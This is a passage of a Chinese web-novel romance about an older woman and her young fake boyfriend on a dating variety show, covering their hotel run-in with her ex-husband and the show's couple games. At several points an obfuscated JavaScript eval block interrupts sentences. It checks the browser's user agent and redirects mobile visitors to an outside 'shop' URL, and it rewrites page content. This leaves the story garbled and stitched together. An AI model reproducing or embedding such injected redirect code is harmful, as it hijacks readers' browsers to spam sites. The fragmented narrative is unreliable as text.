【看不下去+1,我要快进看姐狗了】 【果然女人还是得吃得好日子才过得舒服】 【妈妈我见过年下之后还怎么能忍受中登】 【姐妹们先走了,我快进去看姐弟了】 实际上沈蔷薇和贺平的相处有着不少小反转,但那些肯定要到后面几期才会展现出来。现在的观察室嘉宾脸色都很沉重,只有费姵玫饶有兴致地就这几个关键节点一一作解析,其他嘉宾发言都很审慎。 被打脸,是观察室嘉宾的常态。但这不是他们可以随便发言的理由。 晏川拖动进度条快进。观察室有意给江百川切一些镜头,不过他看起来兴致缺缺,好像对这两位老熟人的感情经历兴趣不大,也没有主动为两位解围,说点什么好话的意思。 姚柯叶和池知夏则是最后一对。 两人是从姚柯叶的公寓出发的,他们也被弹幕公认为最甜最有cp感,“第二季最值得期待”。两人颜值在线,年龄相仿,互相对视或者看着屏幕的时候都非常养眼,还特别会营业。 也是看了人家怎么互动的,晏川才理解什么是牧阳口中的“综艺效果强”“高互动感”。不过很显然,他和牧阳都没有这种针对镜头营业的经验,维持着素人应有的质朴。 看到这里的观众也不再吐槽沈蔷薇和贺平,纷纷把关注点聚焦在小情侣甜度满分的互动上,表示【这才是我想看到的情侣旅游!】 观察室的嘉宾也对他们进行了祝福和赞美,脱口秀演员钱莱更是频频爆出金句,一会表述自己作为单身狗受到的冲击,一会又开始喃喃自语:“财神来,桃花以后再说,财神来,桃花以后再说……” 【演我】 【财神:听到了听到了,两只耳朵都听到了】 【来财姐癫狂的样子真的很像我,谁懂】 晏川就这样一直看视频到飞机降落,甚至跟着牧阳离开机场,都还在盯着屏幕。 牧阳凑过来:“难道剪得不错?怎么一直在看。” 她抬头观察晏川的脸色:“你没睡觉?” “飞机上时间也不长,”晏川说,“我不困。” “……年轻人身体就是好。”牧阳不得不承认自己没有晏川能熬,她甚至打算趁到酒店的这段车上也稍微睡一会。 可惜司机一个拐弯,她就想起来这里不是东海,路况比较复杂。 又一次拐弯,她感觉自己几乎要被甩进晏川怀里。牧阳侧了侧身,发现晏川根本就是有意往中间坐,她就说自己明明系了安全带,幅度怎么会那么大。 晏川依然聚精会神地盯着屏幕,手指没处放似的摸了摸鼻子。 牧阳没好气地笑了声,干脆靠在他肩上,摊手。 晏川不解其意,把自己的手搭在牧阳的手上,被她轻轻一抬弹开了。 “耳机。”牧阳说,“分我一只。” 晏川连忙把自己的有线耳机摘下一只,递给牧阳。 牧阳看了看卷在一起的耳机线:“还是蓝牙的方便。” “我不要方便。”晏川看着牧阳戴上耳机,伸手帮她捋了一下头发。 “行。”牧阳不在意这些细节,她的注意力一旦集中到工作内容上,轻易就回不来。 看了一会,牧阳笑了:“我们被坑了。” 晏川只觉得自己的肩膀一重,牧阳的头发扫过他的脖颈,她的脸贴过他的锁骨,呼吸就在他的胸口,他们是一起的。 这下他哪里看得进去综艺在播什么?他深深吸了口气,努力让视线往屏幕上集中:“嗯。” 牧阳丝毫没注意身后人的反应,还在自顾自乐:“刘导真坏啊,给我们分到的题目都这么长,别人的题目都那么短——哦,还可以这样。” 三组的默契挑战被剪到一起。牧阳和晏川答题并不慢,但一开始两人没反应过来有错,后面也出了失分点。 沈蔷薇和贺平尽管怒气冲冲,但答题又快又准,竟然保持高频率同步,节目组甚至贴心地晒出秒表,算是赢得令人心服口服。 姚柯叶和池知夏的默契度似乎和牧阳晏川差不多,但两个人竟然有小游戏老玩家的隐藏优势,遇到三秒钟念不完的题目就开始“过”。 两个人一起喊“过”,刘导竟然真的让他们换题目,最后两人答的都是短的题。 牧阳看到这对“夏夜cp”的通关成果,不禁感慨:“还是你们年轻人会玩。你们是不是还经常去玩剧本杀之类的,那个超级烧脑。” “我不玩。”晏川愣了一下,“大家的喜好并不一致,和年龄无关。” “也是,安释恒都多大年纪了,还老爱组局玩桌游。”牧阳小声透露八卦信息,“说不定现在就在酒店和大家玩呢。” “安老师很喜欢玩桌游?”晏川更关心后面的问题,“你也玩过吗?你和他熟吗?” “我不会!他的游戏太多了,据说家里更多,满满一柜子,可能有几百个。”牧阳摇头,“我和他顶多算认识吧,因为有小春介绍。他们几个人里面,最熟悉的那个,你知道是谁。” 不想提到那个人。晏川默契地没说他的名字。 牧阳想了想:“温言我也认识,还有欧黎珏越,他当初我还挺看好的,和他老板……你那是什么表情?” “……我看完一期都没记住他的全名。”晏川抿了下唇。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“弹幕?”牧阳完全反应不过来。 大概是这件事太超出预计,她的双眼第一次出现放空的神态。晏川有些心虚地从她手里拿回平板,体贴地给她当时的进度条。 他在这边倒退,那边牧阳只是淡淡瞥了几眼镜头,忽然就笑了:“看来我们是第一组?” 晏川顿了一下,反应过来:“嗯。” 第一期的每一个环节,都是他们这一组先登场。 “也挺好,”牧阳看着镜头里从争吵变得甜蜜的沈蔷薇和贺平,又看着越分越开的自己和晏川,“没想到小春觉得我们能扛播放率。” 有效播放率也是很重要的指标,所有的慢综艺都怕观众只看前几分钟就走。牧阳想了想录制时三组的表现情况,大概可以猜到三组出发时候的景象。 “后面几期我们可能不是首发组。”牧阳说。 晏川这时已经找到了当时看到的片段,此时准备递给牧阳:“弹幕有些说得很难听。” “那是正常的,”牧阳想也不想就安慰他,“弹幕这种东西,总是在表达观众自己的情绪。观众的个人情绪,和我们录制时候的情绪怎么可能一致呢?我们,还有观察室的嘉宾,甚至节目组,谁都有自己的立场。人人都在为自己发声,甚至声音大的人也未必代表着大众。” 她握着他的手又敲了敲他的大腿:“说来说去,人呢,只愿意看到他们真正想看到的东西。等节目再播一段时间,热度上去了,你会以为你很火,好像有很多人讨论你。实际上大街上都是人,认识你的也不会多几个。” 牧阳说完,忽然发现身边有一双眼睛闪亮亮地盯着她,像小狗看见了牵引绳。 “……你很帅,看你的人本来就多。”牧阳讪讪低头,差点忘了身边坐着的早就不是那个焦虑地整天问东问西的前夫,只恨自己嘴太快。 这些话都应该留给未来的培训老师! “你担心我。”晏川说。 47. 【四七】 他干脆改搂为抱,把头埋在她的后颈处,用鼻梁亲昵地蹭一蹭她的脖子,碰一碰她的肩胛骨。 牧阳深吸一口气,直接用头去撞他。晏川自然要躲,可牧阳仰头的力度毫不留情,最后不慎磕中晏川的下巴。刚好又是一个拐弯,晏川的手一松,她不光上身解脱出来,还顺便踢了他一脚。 这一套做完,两人之间总算拉开了点距离。牧阳往自己这边挪,低头准备认真看节目。 空调的冷风吹到手上,吹散身体紧贴带来的热意。 晏川显然意犹未尽,他去拉她的手。 牧阳甩开。 晏川没有放弃。他勾住她的小指,慢慢牵着她的手指浮在自己大腿上。手心按着手背,沿着膝盖一路往上。航线偏离,一路朝着侧面贴过去。 牧阳这次没有拒绝。她意有所指地瞧了一眼,什么也没说。 晏川一下噤声,开始认真看窗外的风景。 等到酒店,一行人自然是再次忙碌起来。牧阳放下包就去找于利春,姬慧在房间里处处打点,晏川帮忙放完行李,还没来得及开口,就被姬慧支使出去:“你快到楼下帮姐取一下点心!姐给大家定的,你先拿到房间里来。” 晏川表示知道了,赶紧撤出房间,边走边找群聊里的订单短信截图。 电梯门很安静,一开一关悄无声息。厚重的地毯只有轻微的摩擦响动。上电梯的人看起来与他一般高,戴着墨镜,运动外套的拉链敞开着。 晏川往后靠了靠,慢慢地站直了。 男人转过身,站在离电梯门口更近的位置不动,嘴唇紧抿,身侧的手抬起又落下,最后才按下楼层。 两人都没有开口。 楼层渐渐向下。 五。四。三。 “她定的安心斋就不用给我送了,我戒糖。”他忽然说,甚至隔着墨镜笑了一下,“替我谢谢她。” 二楼。 晏川却露出些许疑惑的神色:“安心斋是什么?” 门开了。 男人没有出去。门等了几秒,又一次静静关上。 “姐姐给大家送的是稻溪的苦丁茶,”晏川主动说,“清火的。江大哥可以尝尝看。” 一楼。 晏川笑了一下,准备出去。 江百川没有让。 晏川保持着笑容,步伐却没有停滞。两人的肩膀一撞,却仿佛都是没事人,若无其事地错开身。 一口大堂内,站在电梯旁的侍者得知晏川需要取货,立刻引他去找经理。经理亲自把这些包装好的礼品交给他,又送他到电梯门口。 晏川看了一眼正在下行的电梯。刚才它还停在二楼的健身房,显然是送了江百川上去。 他提着礼物走进电梯,想了想,故意对门口的经理笑道:“帮我刷一下卡吧,谢谢。” 晏川连续按了三层。他看着连续亮起的灯光,心里又觉得自己好幼稚。 ……紧张什么呢。 她已经不需要那个人了,不是吗。 牧阳回来的时候,发现晏川就坐在桌前打字。她往他的屏幕瞅了一眼,看到是PPT便飞快移开了。 “怎么不休息?”她实在佩服现在大学生的精力,这个条件下都能兼顾学业。 “慧姐说你七点前会回来。”他问,“吃过晚饭了吗?” “没有呢,我们一起去。”牧阳笑了笑,拧开矿泉水的瓶盖,仰头喝了两大口,“楼上餐厅应该还开着。” “好。”晏川立刻关闭文档。 “你有没有吃点东西垫垫肚子?”牧阳随手放下自己从小春那里顺来的资料,“下次不用这么老实……”她定睛一看,发现礼盒旁边的塑料袋里,除了便利店顺来的零食,还有十分醒目的几盒避孕套。 晏川刚巧走过来。他看到这一袋零食,也有点尴尬:“我一直在学习……这一袋都是慧姐买的,我没看。” 牧阳倒是笑了一下:“行了!我知道。走吧,小春说这家酒店的羊肉很好吃。” 晏川看着自己被牧阳牵起的手,嘴角弯起:“嗯。” 靠窗的位置围满了人,或站或坐,长桌上摊着一堆小物件,五彩缤纷。 姚柯叶最先看到他们,抬手打招呼。 欧黎珏越站在他旁边,跟着看过来,眼神也有些意外。 “你们在干什么?”牧阳笑着招手。 “你们到了!”长桌那头的安释恒一愣,立刻笑了,“玩游戏呢!来不来?这个叫铁路环游,是修铁路的游戏。” 牧阳走近两步,看清桌上巨大的地图,和中间几辆五颜六色的小车:“有意思。我们能不能玩?” “这个一把只能五个人,要不下一把你们来?”安释恒话音刚落,那边就有人急了。 “安老师,轮到你了。”温言说完,捏着一把彩色的票子走过来,“牧姐!好久不见。” 牧阳微微一笑:“好久不见。新发型真不错。” 温言一听这话,如沐春风:“牧姐夸我,我就不错。” “你呀,”牧阳笑着问她,“怎么最后没来旅游?你之前不是说想玩。” 温言摇摇头。 牧阳发出一个鼻音,温言尴尬地一摊手,再摆手。 “好吧。”牧阳耸耸肩,“快回去,到你了。” 长桌那头的人已经依次做完了自己的事。 温言含情脉脉地看向牧阳,短短几米路走得一步三回头。 牧阳目送温言回去。江百川站在长桌最中间的位置,遥遥望着她的方向。 两人的视线接在一起,却好像已经不在一个时区。 牧阳先一步收回视线,看向身旁的服务生:“帮我们打包两份餐品。” 安释恒又来了:“不在这里吃?吃完来玩呀,有七个人能玩的游戏,你带小同学一起。小同学,你想不想玩?” 晏川很有礼貌地笑:“我跟姐姐走。” “要不你们玩吧,”江百川突然出声,“我先回去休息了。” 他看起来要拿自己的票过来。 “哎!”安释恒一愣。 晏川警觉地向前一步,站在牧阳身边。牧阳拉住他,朝着江百川说:“别吧,你们都开了一局了。游戏要有始有终才好,对吧?以后我们再来玩。” 江百川盯着她:“你是不是还没吃饭?吃了饭过来玩吧,大家都好久没见面了。” “你不是刚从节目组那大屏幕上看过我嘛,生疏什么,明天就一起玩了。”牧阳笑笑,轻飘飘推了晏川一下,小声道,“你去打包两份饭,我们回去吃。” 晏川也小声问她:“你吃什么?” “说什么悄悄话?”江百川也凑过来,压低声音。 偏偏牧阳和晏川两个人和没看到他一样。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17131976|193776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“你吃什么我就吃什么,和你一样的。”牧阳说。 “那我去点。”晏川点点头。 “百川哥,到你啦!”欧黎珏越喊道。 江百川没回头,看着牧阳笑:“真不来?急着回去干嘛,你飞过来路上没睡饱?” 牧阳定定看着他:“真想知道?” “百川哥,你要票吗?我帮你拿两张?”温言的声音。 “谢谢。”江百川头也没回,依然和牧阳对视,“别发疯了,小心收不了场。” “第一期上了你没看?”牧阳面不改色,“高明煊就是这么关照你的?他有没有让你的团队约束粉丝?你就是这么运营之前六年经营出来的心血的?” 她声音很低,也很轻,但是语速很快,显然问题早就在她心中留存很久。 江百川艰难地吞咽了一下,哽道:“我……” 牧阳叹了口气:“照顾好自己的身体。多休息,别把自己当年轻人了。” “姐姐!”晏川的声音比他的人到的更快,“我点好了,等会就走。” 牧阳点点头,拉住他的手:“好。” “网上很多人说你们是演的,”江百川忽然古怪地笑起来,“明天努力证明自己吧,加油。” 他说完转身就要走。 “江大哥。” “江先生。” 没想到身后两个人异口同声叫住了他。 牧阳和晏川对视一眼,脸上竟然扬起相似的微笑。 江百川回头看到的就是这一幕。 牧阳拉了拉晏川的手臂。晏川紧紧牵住牧阳的手,朝她笑了笑,才转头对江百川道:“大哥,谢谢你提醒,不过,网上的话看看就算了,你别放在心上。要是什么事情都这么敏感的话,会让身边的人很累的。” 江百川手里的桌游道具一下全皱起来:“你……” “江百川,”牧阳轻轻说,“以后在外面,不要这样和别人说话了。” 她拉住晏川,慢慢地向后退去:“大家会笑话你的。” 他们走了。 “百川哥!”姚柯叶问,“还来玩吗?” 江百川回过神来,匆匆走回长桌边:“来了。”他随手拿了两张票,到手一看才发现全不是自己要的颜色。 温言看到他手里的票:“这是怎么了?” 江百川看了看手里道具的折痕:“安老师,我赔您一副新的吧?真不好意思。” “没事儿。这游戏是不是有点无聊,要不等会玩把大的?咱们开个剧本杀?”安释恒笑得轻松,“我把我助理叫过来主持啊。” “好啊,这个好玩。”温言很是赞同。 “我也可以。”欧黎珏越说。 “……我就先回去休息了吧。”江百川笑笑,“不好意思,不能和你们一起玩了。” “没事啊,已经很开心了。”安释恒道,“现在就走吗,还是先玩完这一局。” “我先下去了。”江百川将手里的票随手塞给一个助理,直接走人。 被塞了一把烂牌的是温言的助理。温言好奇地凑过来看了看牌,又看了看远去的人影,直到人彻底消失,她才说:“刚刚牧姐还劝他有始有终。” “有个性的人才有意思呀。”安释恒模棱两可地说,“不然谁跟我们玩呢。” “不对,”牧阳回头指向晏川,“我们的饭呢?” 48. 【四八】 面对牧阳的“手枪”指控,晏川无辜摊手:“服务生说一会送到我们房间。” “那来不及了。”牧阳毫不留情地食指一抬。晏川顺势后仰,原地做吐血状。 他甚至眼巴巴地望着她:“再给我一次机会吧。” ……这么配合。 牧阳愣了一下,立刻用指头戳中他的胸口,再补一枪:“来不及了。” 晏川只好虚弱地歪着:“姐姐……好狠的心……我刚刚的表现不好吗?” “……挺好的,”牧阳走过去,手搭在他的肩上,握住他的手,“挺好的,真的。” “真的?”晏川慢慢旋转着,直到歪在她身上,脸靠着她的脑袋。 “真的真的。”牧阳想把他提起来,但晏川打定主意要往她身上赖,实在太沉了。 牧阳无奈:“别死我身上。” 一根手指抵住她的太阳穴。 牧阳顺势看过去,发现晏川的食指抵在她额间,因为她看过来的目光,顺势切换成揉太阳穴的动作。 “……你假死!”牧阳想生气,可是晏川已经站好了,还把另一只手也伸过来,两只手一起揉她的太阳穴,就这样一边搓着她,一边出电梯往房间走。 “走吧。”晏川从身后半抱着她去房间。 牧阳感觉自己的大脑都要被他搓掉了:“放开我!” 一进房间,晏川就松开手,把两只手背在身后。 牧阳走出去两步,发现他根本没跟上来。晏川贴着门站得笔直,背部却微微弓起,抬头看向她。 “要站就站好,”牧阳道,“你这按摩手法哪里学的。” 晏川这才挺直背,慢慢地走过来:“头是不是没那么疼了?” “……好很多。”牧阳叹气。 “那我再来给你按一按。”晏川主动请缨,把两只手摆到她面前。 “你怎么发现我头疼。”牧阳问他。 晏川带她去床上,拉着她坐下。他顺理成章地坐在她身边,抬手:“你不舒服就会这样眨眼睛。” 他的手指揉按太阳穴,沿着后脑勺伸入她的发间:“别为了他不高兴。” 床对面漆黑的电视屏幕里,晏川的手虚虚碰到她的脸。 牧阳闭着眼睛:“倒不是这个。” 晏川没说话,手试探着往下,帮她捏肩膀。 显然,牧阳非常受用:“你到底哪里学的,这么熟练。” “……呃,两年多前吧,我、呃,我十七就出来打工了。是一个小兄弟说——” “怎么这回编不圆了,磕磕绊绊的。”牧阳听他憋了半天,“行,我大概知道你要说什么了。少男离家,房子抵押,赌博的爸,消失的妈?” “对,对。我出来之后,还是赚不到钱,就有个小兄弟带着我做的。我本来不想的,但是做这个来钱快——” “好好好,停!打住!说正经的!”牧阳没忍住笑了,伸手在床旗上一拍,赶紧打断他,“这种乱七八糟的词把人都教坏了。” “你更熟练。”晏川意有所指。 “我都是网上看的段子。”牧阳立刻澄清。 “网上。”晏川手上动作不停,低头问她,“他们就光拍这个?” “……少上点网。”牧阳硬着头皮道,“你懂的太多了。” “……哦。” 听他那个兴致缺缺的语气,牧阳一个激灵:“你也不许去拍那种视频!” “那种视频?” “不要走捷径,走捷径的本质是走弯路。”牧阳找补一句,一想到晏川怎么来的,又觉得说了也是白说,只能叹了口气,“算了,希望你不要聪明反被聪明误吧。” 晏川只是耐心地展示手法,并没有回应她的话。 牧阳闭着眼睛放松了一会,顺着他手下的力道歪了歪头:“明天的游戏估计内容量不少,要加油了。而且这几个人里,就我们没和嘉宾们打招呼。” “在餐厅没看到贺导和蔷薇姐。”晏川说。 “他俩在楼下见人呢,贺平还说想和温言合作OST,他大概是疯了。” “……姐姐,”晏川小声问她,“明天他们会针对我们吗?” “大概率不会,针对我们就是给我们增加有效镜头。”牧阳顺着晏川的手往另一边倒,“不过有一个人可能会吧,我不知道。” 说完好一会,都没感觉到身后人的动作。牧阳睁开眼睛:“累了?” 晏川的手抓在她肩上,牧阳被这么捏了一下,眼睛立刻又眯起来:“哎!你别紧张嘛,他只是想针对我,不会对你怎么样的。” “……我当然不想要他针对你。”晏川轻声说。 牧阳听他话音里的那点委屈,轻叹着放轻声音:“那没办法啊,一场综艺而已,忍忍就过去了。” 她不知道是在安慰他,还是在劝自己。 “人生这么顺,总得遇见点挫折,不然飘到哪里去都不知道。” “……谁的人生这么顺?”晏川问。 “我和他都是。”牧阳笑笑,“想成功的人太多了,又有天赋,又有实力的人更多。我们只是运气比较好。” “姐姐的运气,其实也没有那么好。”他忍不住反驳,“如果你运气好的话,就不会——” “就不会什么?”牧阳摇头,“不能这么算的。凡事皆有代价,我的运气已经够好了:事业、爱情,婚姻看阶段吧,没有不成功的。就算出了这种丑闻,都能在咖啡馆白捡到一个你,这还不好吗?” “……我也算?”晏川好像觉得有些不可思议似的。 “你当然算,”牧阳难得语气认真了一点,“对我来说,能遇到你这样高质量的‘男朋友’,真的是解了我的燃眉之急。而且……” 她微微侧身,于是两人的脑袋几乎都要贴到一起:“我们的关系真不错。” 晏川的喉结上下滚咽:“那……” “所以我说,我运气好。”没等他说完,牧阳就转回身去,作势要起身了,“唉,谢谢你给我按摩——” “等等!”晏川连忙问,“别的地方不按了吗?手和腿也放松一下吧,还是捶捶背?” “真给我做全套啊,你累不累?”牧阳显然精神已经恢复了很多,还有兴致 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17143230|193776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抬手去捏他的脸,“吃完饭早点休息,明天录制打起精神。” 就算是被捏脸了,晏川也不反抗。他甚至没有羞色,也没有丝毫的负面情绪,反而看准她的方向,握住她的手腕。 指腹轻敲皮肤,虚虚地搭着,虎口却卡得很紧,死死不肯放手。 他的手指可以去任何地方。 晏川低下头。 牧阳从他的眼神里看出强烈的暗示意味。灼热感沿着手腕传递到内心,脑子里如雪花一般飞快闪过无数念头,甚至包括桌上那只依然圆鼓鼓的零食袋。 愣神的片刻,晏川的手已经开始靠近她的大腿。 他要抱她,于是一只手臂揽住她的双腿,另一只手依然拉着她的手腕,身体朝她凑近。 “叮——” 客房服务。 “咳咳!”牧阳夸张地咳嗽几声,两腿一摆,麻利地起身下床,“晚餐到了,让我去看看你点了什么。” 晏川就这样眼睁睁看着空下来的床:“……” 牧阳倒是很惊喜。奔波这么久,她真的饿了:“这个法式炖羊肉好好吃!” 晏川闷不吭声吃饭。牧阳也不管他,一顿饭一直在东拉西扯,自顾自说了些有的没的。吃完她把叉子一放就去洗漱,洗完澡倒头就睡。 她好像睡觉也不挑灯光,更不挑床,睡觉的时候也总是侧向右边,多年来的习惯一样。上不上节目,似乎对她都没影响。 这个没良心的工作狂。 晏川收拾好餐具,洗干净了手,回来的脚步下意识放得很轻。他悄悄地走近她的床边,侧耳听她均匀的呼吸。最后,他抬手小心地帮她掖好被子,关掉床头的灯。进门的走廊还残留着一丝光线。晏川忽有所觉似的,走到房间门口。 走廊上的灯光不会照进来。这里只有房间的灯。同样,房间内外都有厚重的地毯,就算有脚步声,大概也听不到。 那个人就算知道,又能怎么样呢? 她都已经睡下了。 晏川在门口站了一会,心里那翻涌的波浪终于平静下来。 灯光彻底熄灭。比以往更适应夜色的他静静走回床边,默默看一眼牧阳的睡颜。晏川心满意足地躺下,抱住被子。 就算……也没关系。 “都吃过啦,”安释恒笑着寒暄,“所以你们有看已经上线的第一期吗?大家的反响各不相同哦。” “哦,弹幕!他们也在说吃,而且啊,大家都说我吃得很差,她吃得很好哎,我觉得很不公平。”沈蔷薇毫不客气地抢答,还亲密地蹭到牧阳身边,搂住她的肩,“喏,她也被我吃了!谁吃得好自不必多说。” 晏川的视线立刻追着沈蔷薇的动作就过去了。牧阳一巴掌把沈蔷薇的手拍下来:“你搞这套?那你睡觉打呼的事情恐怕就要瞒不住了,到时候全国人民都会得到美女鼾如雷的珍贵影像资料。” 沈蔷薇一下瞪大眼睛,知道这一段调侃跑不掉,于是也呛她道:“你等着吧!待会他们六个,谁都不会放过你!” “怎么会,”牧阳立刻装无辜,挽住晏川说,“我和小川天下第一好。” 49. 【四九】 “别和我们说,”安释恒笑着摆摆手,“开播去节目上说。” 小春的声音从摄影机后传来:“都站好!我说三二一,开始,安主持!三、二、一!” 收尾录制虽然集中在一天时间内,但需要的素材量实在不小。 原定三组互相竞争的环节遇到不可抗力取消,相应的素材也各有丢失,无法补充。今天这次“集合”更是不想丢掉“情侣分组对抗”的话题和讨论度,节目组只好将环节融合融合,变成既有观察嘉宾参与互动,又有三组情侣竞争的闯关模式。 牧阳其实不怕什么小游戏。 小游戏赢了是最好的,输了只要心态足够坦荡大方,出糗丢脸也没什么。互动暧昧拉扯,糖点十足是最好的,足够搞笑的反应更能接住流量,但是表现平平也没什么。至少她这次上节目,最初的目的已经达到了。 节目第一期已经将热度炒出来,观众路人们的视线焦点都是她和晏川大年龄差的姐弟恋关系,之前那些对她和江百川的揣测纷纷消失。 现在舞得最厉害的反而是江百川的黑粉,他们非要绑定牧阳和沐阳娱乐,只是徒增广大路人观众对江百川的恶感。 百利而无一害。 但是她的眼皮一直在跳。 “左眼跳财,右眼跳封建迷信。”牧阳悄声给自己打气。身旁的晏川明显听到她的声音,低下头来看着她。 牧阳赶紧碰碰他的手,示意他看镜头,和镜头打招呼。 “好了,大家都看我!”钱莱开始走流程,挥着手里节目组给的提词卡,“咳咳,我这一关,顾名思义,就是‘来财来财,恭喜发财’。不管你们当前的资产总数如何,只要通过我的关卡,就可以正常‘上车’,接受其他‘磕学队长’的祝福。” “这小姑娘的意思是,我们不在她手下过一把,就可以直接回家了。”贺平笑道。 沈蔷薇赶紧捅他一肘子:“干什么呢,你敢不过,我们要还好多的债。” 经过节目组的综合评估,以及几位观察嘉宾的“祝福”,现在沈蔷薇和贺平已经成为资金倒数最厉害的组合,比起另外两组差了近三位数。 而另外一组资金倒数的组合,竟然变成了牧阳和晏川。至于原本同样深陷负债的姚柯叶和池知夏,在“磕学队长”的纷纷祝福下,竟然扭亏为盈,成了恰到好处的正数。 “这可是我们认真省下来的钱哎。”牧阳还试图和嘉宾们掰扯呢,“是谁扣了我们的资金?是不是你?安老师,肯定是你!” “唉,冤枉啊!”安释恒赶紧投降。 温言笑道:“不好意思啊姐姐,节目组一定要我们出手,我觉得还是姐姐们抗压能力强一点。” 牧阳点点头:“行了,知道你不会放过我和沈蔷薇。” 温言笑:“姐姐会原谅我的,对吧?” “我就没有怪过你。高低都是句‘祝福’,”牧阳笑道,“那我们就笑纳吧。” 她去牵晏川,温言转头就对钱莱小声耳语:“我要是年下我也追她。” 钱莱也小小声:“你真的是她年下,但是你们性别不对。” 温言佯作失望地转头了。 “我可没有‘祝福’你们,”江百川忽然说,“我是真心看好你们的。”他眨眨眼。 “我也看好你!加油,江队长。”牧阳摆摆手。 “谢谢江大哥。”晏川受宠若惊似的,一边紧紧牵着牧阳的手,一边很谦逊地点头。 江百川一口气哽在喉咙里。到底是在镜头前,他面上依然笑着,继续和其他嘉宾聊天讲话。 “第一个任务很简单哦,同步比心挑战。夏夏和姚姚先来!请你们背对背,根据指令朝镜头做动作,只要保持动作一致就算合格。”钱莱认真道,“开始!” 这个任务看起来不难,作为“正数”组合,池知夏和姚柯叶先试了一组,帮大家演示了玩法,再开始挑战。 牧阳看懂了,立刻和晏川小声商量:“几个熟悉的动作我们统一一下……” “那边的,不许交头接耳!”钱莱条件反射,直接朝着牧阳和晏川大喊了一句,“作弊将受到惩罚。” 牧阳一愣,没等她说些什么解释,晏川直接将耳朵贴了过来,印在她嘴唇边。 晏川拉着牧阳后退一步,做出噤声的手势。 “你们——”钱莱完全被冲击到了,足足反应两秒才继续给池知夏和姚柯叶出题。 牧阳捅了晏川一下,刚想夸他聪明,就对上他通红的耳朵。晏川大概以为她要说什么,配合地低下头,反倒让她后知后觉地转开视线,只觉得脸颊发热。 太奇怪了,明明之前还没这样。室内封闭录制,反而容易上头? “牧阳!”钱莱哭笑不得,“怎么又忘了!” 这是第二次了,本来应该听题比划,可是她第一题走了神,第二题还在走神! 在旁边围观的嘉宾和工作人员早就笑得不行了,只有牧阳本人还在台上莫名其妙。 钱莱看不下去了:“我把挡板撤了,给你俩送分吧!受不了。” 于是牧阳看到的不再是两个印在挡板上的黑色虚影,而是站在她身边,看起来有些拘谨的晏川。他在这种多人围观的场合其实并不放松。 牧阳一方面安慰自己,放松未必是好事,稍微的紧张有兴奋作用,可以助力发挥;另一方面,她又有些忐忑不安,手指在身侧微微蜷缩着,朝着晏川稍微靠了靠。 没等两人反应,钱莱就敲响了铜锣,大喊:“比心!” 比心挑战双人比心,完全就是送分题嘛! 然而,牧阳举高手臂,刚打成一个弯,就发现旁边的晏川用手搭成一个半弧形,放在胸前。 下一秒,两个人立刻改变姿势,牧阳刚把手放下,晏川就把手举了起来。 “二、一!”钱莱瞪大眼睛看着两人不一致的动作,“定格失——败——” 旁边的沈蔷薇笑得倒在贺平身上,根本不爬起来了。 钱莱要了一瓶赞助饮料,拿起来喝了一口:“我不行了。你们两个给我干出高血压,我要提报工伤!” “来财姐,求求你了,能不能侥幸饶了我们。”牧阳连忙来找这位评委套近乎,“我年纪大了,记性不好,您就高抬贵手……” “不!不!老板的话我一个字也不信!” “来财姐,求求你了,我脑子笨动作不灵活,跟不上姐姐,但是我已经很努力了,能不能看在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17151792|193776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……” “停!停!实习生为了请假也将鬼话连篇!” 牧阳挤过来:“来财姐,我们两个到时候会去支持你的专场。” 钱莱:“真的?” “嗯嗯,我们一定来。”晏川看了牧阳一眼,连忙对着钱莱狂点头。 钱莱:“……那你们坐第一排,到时候记得和我互动。” “没问题。”牧阳说。 钱莱:“赞助我的商演。” “可以可以。”牧阳说。 钱莱:“请你们公司的小鲜肉来当特邀嘉宾。” “可……这个要看档期!”牧阳连忙道。 钱莱不说话了。 晏川小声:“我帮你想办法。” 钱莱:“成交!成交!成交!挑战成功!一千资金发给我们的小木船,祝福小木船同富贵,共荣华!” “……这都行?!”池知夏惊呆,“来财姐!不公平,不公平!” “这叫对症下药,金子药啊。”贺平鼓掌,“我们也这么玩?” 话音刚落,他就被沈蔷薇拧了耳朵。 一条彩色丝巾从眼前穿过。 贺平道:“别给我绑太紧了。” “行。”沈蔷薇嘴上说,手下却狠狠拽着丝巾,绑了一个很紧的结。 “不行不行!你绑的我好难受,我不干了,我要和你换。”贺平说。 隔壁组眼看又要吵起来了。 牧阳低着头,将塑料绳子绕过手腕,来回缠了两圈:“这个绳子很不舒服的,磨皮肤,等会早点结束,早点摘下来。” 晏川戴着眼罩,嘴角却笑盈盈地弯着,显然很开心。 